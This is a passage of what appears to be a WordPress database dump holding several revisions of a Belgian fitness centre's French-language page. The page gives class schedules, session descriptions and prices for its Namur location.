20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:32:13', '2014-08-31 08:32:13', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(451, 1, '2014-08-31 08:19:09', '2014-08-31 08:19:09', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:19:09', '2014-08-31 08:19:09', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(446, 1, '2014-08-31 08:04:06', '2014-08-31 08:04:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:04:06', '2014-08-31 08:04:06', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(447, 1, '2014-08-31 08:05:26', '2014-08-31 08:05:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;15h30&lt;/td&gt;\r\n&lt;td&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; 